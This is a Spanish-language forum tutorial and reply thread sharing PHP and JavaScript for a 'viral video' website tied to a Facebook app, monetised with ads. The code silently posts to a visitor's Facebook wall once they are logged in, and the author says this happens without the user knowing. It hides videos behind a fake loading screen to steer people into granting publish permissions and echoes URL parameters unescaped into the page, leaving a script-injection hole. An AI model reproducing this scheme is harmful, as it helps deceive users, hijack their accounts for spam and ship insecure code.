Tutorial: Apps Video Viral

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
57
Crédito(s)
1
Puntos
25.567
Este nuevo tutorial aprenderan a crear una aplicacion que funcione solo en un sitio web (no blogger, no WP), solo crean un sitio o un subdominio y listo a ganar $$$$. Porque no funciona en WP, porque para eso hay que colocarlo a modo de plugin y esto solo es un file que maneja todo lo viral (como en los tutoriales anteriores que solo era el tab.php), porque no funciona en blogger, pues porque usa PHP.

Antes que nada:
1- NO me hago responsable si banean sus apps, sus fanpages o lo que sea al usar tanta viralidad.
2- Pueden usar adsense y generar MUCHO dinero
3- NO hago programaciones para otros, solo te puedo ayudar en lo que no te salga, asique evitemos los PM preguntando si les hago una programación u algo de eso. Tampoco soy soporte de todo lo que les pase, si quieren soporte para una aplicacion de este tipo hay muchos lugares donde puedan comprar una. En este caso es FREE!!!.

Ahora pondremos nuestros posibles escenarios.
1- El usuario accede, quiere ver un video
1a- Si el usuario ya dio permisos, se publica en el muro del usuario (y usamos cookies para evitar publicar una y otra ves, estas cookies duran 1 dia por video).
1b- Si el usuario no dio permisos, redireccionamos a facebook y pedimos los permisos correspondientes.
1c- Si el usuario fue redireccionado a facebook y nego los permisos, igual accede a nuestro sitio y podra ver los videos, solo que no se le publicara en su muro.

Ahora a la programación (evitare detalles HTML y demas cosas, si quieren ver en detalle todo, miren el index.php)

HTML:
function Desbloquear(){
	document.getElementById("loading").style.display="none";
	document.getElementById("cargarvideo").style.display="";
}
Este código lo que hace es mostrar el video y ocultar la imagen que simula un loading.

PHP:
<?php if($_GET['error_reason']!=""){ echo 'Desbloquear();'; } ?>
Esta seccion del codigo lo que hace es que si el usuario nos nego los permisos mostramos igual el video.

HTML:
window.fbAsyncInit = function () {
	FB.init({
		appId: 'APP_ID',
		status: true,
		cookie: true,
		xfbml: true,
		oauth: true
	});
Iniciamos el SDK de facebook (JS)
Mas info: JavaScript SDK - Facebook-Entwickler

HTML:
	FB.getLoginStatus(function (response) {
		if (response.status === 'connected') {
			var uid = response.authResponse.userID;
			var accessToken = response.authResponse.accessToken;
			Desbloquear();

			PublicarFeed(uid,accessToken);
		} else if (response.status === 'not_authorized') {
			<?php if($_GET['error_reason']==""){ ?>PedirP(); <?php } ?>
		} else {
			<?php if($_GET['error_reason']==""){ ?>PedirP(); <?php } ?>
		}
	});
Con esto lo que hacemos es ver el estado del usuario que accede, si el estado es conectado mostramos el video (ya que lo estamos ocultando con CSS). Y publicamos en el muro del usuario (sin que este sepa)
Si el usuario no esta autorizado (no dio permisos) los pedimos, para esto llamaremos a la funcion PedirP();. Como ven solo pedimos los permisos si la variable error_reason no existe, esta variable la regresa facebook si el usuario NEGO los permisos.

HTML:
function PublicarFeed(uid, ac) {
	var qCookie = readCookie('idvideo_<?=$_GET['idvideo'];?>');
	if (qCookie === null || qCookie === "") {
		body = {
			name: "<?=$VID[$_GET['idvideo']]['1'];?>",
			link: "<?=WEB.'?idvideo='.$_GET['idvideo'];?>",
			picture: "<?=WEB.'imgvid/'.$_GET['idvideo'].'.jpg';?>",
			actions: [{
				name: 'Ver Video',
				link: '<?=WEB.'?idvideo='.$_GET['idvideo'];?>'
			}],
			description: "<?=$VID[$_GET['idvideo']]['2'];?>",
			access_token: ac,
		}

		FB.api('/me/feed', 'post', body, function (response) {
			if (!response || response.error) {
				console.log("FB.api error occurred");
				if (response.error) {
					console.log("Error message: " + response.error.message);
				}
			} else {
				createCookie('idvideo_<?=$_GET['idvideo'];?>', 'yata', '7');
				console.log('Bien!');
			}
		});
	}
}
Con esta funcion lo que hacemos es publicar en el muro del usuario, primero vemos si existe la cookie con el ID del video que esta tratando de ver. Sino existe la cookie, posteamos en el muro, si existe no. La variable body tiene todos los tados del video, nombre, link, imagen y los links a mostrar abajo. Luego FB.api publica en el muro del usuario. Si se publica bien, creamos una cookie con el ID del video.

HTML:
function PedirP(){
  	var oauth_url = 'https://www.facebook.com/dialog/oauth/';
	oauth_url += '?client_id=APP_ID';
	oauth_url += '&redirect_uri=' + encodeURIComponent('<?=WEB.'?idvideo='.$_GET['idvideo'];?>');
	oauth_url += '&scope=publish_actions,publish_stream,user_actions.video'

	window.top.location = oauth_url;
}
Esta funcion esta encargada solo de redireccionar a facebook y pedir los permisos.

HTML:
var t = setTimeout("Desbloquear()",5000);
Si por alguna razon el usuario no hace nada, o no redirecciona a facebook o ocurre algun problema, desbloqueamos el video a los 5 segundos para que el usuario pueda verlos. Con esto evitamos que dejemos solo la img de cargando y no mostremos nada.

Ahora vamos a como colocamos videos. Junto con los archivos tenemos un file llamado: videos.cache.php este file tiene una estructura de esta manera.
PHP:
<?php
	$VID[] = array('94K20VPMI04','Invasi&oacute;n Restaurante Chino [Gangnam Style]','Un mont&oacute;n de personas invaden un restaurant chino bailando Gangnam Style y...');
	$VID[] = array('e_gpw3JCQAs','La danza del abuelo','Abuelo bailando el tema de: LMFAO - Party Rock Anthem ft. Lauren Bennett, GoonRock...');
?>
Como ven es una array que contiene los datos de los videos
PHP:
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
Si quieren agregar mas videos agregan variables de ese modo... ejemplo:
PHP:
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
$VID[] = array('ID_VIDEO','TITULO','DESCRIPCION_VIDEO');
----------------
Para colocar adsense solo editen los files dentro de la carpeta ads/ (o agreguen manualmente sus codigos)
----------------
La config en facebook es normal:
IR: https://developers.facebook.com/apps
Crear nueva apps, ponerle un nombre y en la seccion: Sitio web con Facebook Login colocamos la url de donde se encontrara nuestra apps.

----------------
El script usa file_get_contents y file_put_contents (funciones de PHP) para guardar la img del video en el servidor!!!
----------------
El script contiene LIKE por cada video y comentarios facebook.
Demo: Video Viral
Descarga: http://www.mediafire.com/?1a9kom1i0ig8l8x
El CSS que usa es este: Base Bootstrap
Themes bootstrap: http://bootswatch.com/

Si tienes alguna pregunta sobre el script, etiquetame en tu post o mandame un PM!
----------------
La variable WEB tiene que tener la barra al final, sino no funciona el script. Ejemplo
Insertar CODE, HTML o PHP:
 http://www.cicklow.com/
----------------

Saludos!


NO USEN EL ID DE MI APLICACION PORQUE NO FUNCIONARA! TIENEN QUE USAR SU PROPIO ID!!!
Parte 2: http://forobeta.com/tutoriales/166153-apps-video-viral-v2.html
 
Última edición:

EliJ

1
Pi
Verificación en dos pasos desactivada
Verificado por Whatsapp
Desde
21 Mar 2012
Mensajes
5.801
Crédito(s)
0
Puntos
1.758
Muchas gracias, lo mejor es que es FREE :encouragement:
 

quimbox

VIP
Zeta
Verificación en dos pasos desactivada
Verificado por Whatsapp
Desde
22 Mar 2012
Mensajes
1.809
Crédito(s)
1
Puntos
221
Excelente hermano muchas gracias por este tutorial! voy a tratar de aplicarlo en una web gratuita que tengo por allí!
 

Beaszak

Préstamo
Iota
Social Media
Verificación en dos pasos desactivada
Desde
23 Feb 2012
Mensajes
2.017
Edad
20
Crédito(s)
1
Puntos
9
Muchas gracias :)
no me imagino como se sentirán los que compraron la aplicación a el usuario
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
57
Crédito(s)
1
Puntos
25.567
Muchas gracias :)
no me imagino como se sentirán los que compraron la aplicación a el usuario
No es por eso... como digo, si quieren soporte y que la apps este actualizada y lo que ofrezcan pues comprenla, sino aca esta gratis.
 

celelo

Kappa
SEO
Verificación en dos pasos desactivada
Desde
18 Feb 2010
Mensajes
2.547
Crédito(s)
0
Puntos
73
Sos groso sabelo diria un taringuero :p mañana lo reviso y pruebo. Muchas gracias cicklow, sos un grande.
 

uben

Baneado
Delta
Verificación en dos pasos desactivada
Desde
9 Dic 2011
Mensajes
563
Crédito(s)
0
Puntos
0
[MENTION=9679]cicklow[/MENTION]
gracias
 
Última edición:

Olvy

Eta
Verificación en dos pasos desactivada
Desde
6 Sep 2012
Mensajes
1.332
Crédito(s)
1
Puntos
1.421
En tu demo si se hace click en el vídeo nos manda a
Index of / en cambio si hacemos click en el titulo del vídeo nos manda a la aplicación, nos dejaste ese error intencionalmente cierto como en los otros tuto?=?? .....gracias por el tutorial :encouragement:
 

almabasa

Épsilon
SEO
Verificación en dos pasos desactivada
Desde
18 Nov 2012
Mensajes
813
Edad
38
Crédito(s)
6
Puntos
343
Clicklow eres un barbaro. En la universidad me fue excelente programando, creo que es hora de retomar este tema para las apkicaciones de facebook y ganar buenos dolares.


Enviado desde mi GT-S5830M usando Tapatalk 2
 

Jorge Reyes

Moderador
1
Kappa
Social Media
Verificado con documento
Verificación en dos pasos desactivada
Verificado por Whatsapp
Desde
29 Mar 2012
Mensajes
2.574
Edad
22
Crédito(s)
1
Puntos
152
Gracias por compartir, ya me pongo manos a la obra a generar dinero :encouragement:
 
Última edición:

EdisonRd

Lambda
Redactor
Verificación en dos pasos desactivada
Verificado por Whatsapp
Desde
4 Abr 2012
Mensajes
2.973
Crédito(s)
1
Puntos
1.191
Carlos debe ponerte un sueldo por tu grandes aporte. :p8:
 

anferro

Xi
SEO
Verificación en dos pasos activada
Verificado por Whatsapp
Desde
29 Oct 2011
Mensajes
4.455
Crédito(s)
0
Puntos
63
vaya, sorprendente men! genial muy buen aporte gracias!
 

Schumacher

Beta
Verificación en dos pasos desactivada
Desde
18 Ago 2012
Mensajes
109
Edad
34
Crédito(s)
0
Puntos
0
Como siempre cicklow, haciendo aportes invaluables.
 

Jesam

Lambda
Verificación en dos pasos activada
Verificado por Whatsapp
Desde
30 Dic 2011
Mensajes
2.881
Edad
28
Crédito(s)
0
Puntos
32
De M A R A V I L L A Cicklow! eres grande tío, tremendo aportazo que das! :)
te agradesco, muchas gracias.​
 

Mustang007

Eta
Verificación en dos pasos desactivada
Desde
3 Jun 2012
Mensajes
1.321
Crédito(s)
0
Puntos
1.014
Eres un crack, sabelo. :encouragement:

Gracias por todos tus aportes amigo.
 

DM200

Iota
Social Media
Verificación en dos pasos desactivada
Desde
21 Mar 2012
Mensajes
2.478
Crédito(s)
0
Puntos
2.059
it is freeeeeeeee :encouragement:
 

cicklow

Admin
Beta
Verificado con documento
Verificación en dos pasos activada
Desde
30 May 2011
Mensajes
57
Crédito(s)
1
Puntos
25.567
En tu demo si se hace click en el vídeo nos manda a
Index of / en cambio si hacemos click en el titulo del vídeo nos manda a la aplicación, nos dejaste ese error intencionalmente cierto como en los otros tuto?=?? .....gracias por el tutorial :encouragement:
error mio: actualizado postAuto.rar
tmb se fixeo otro problema
 

Arriba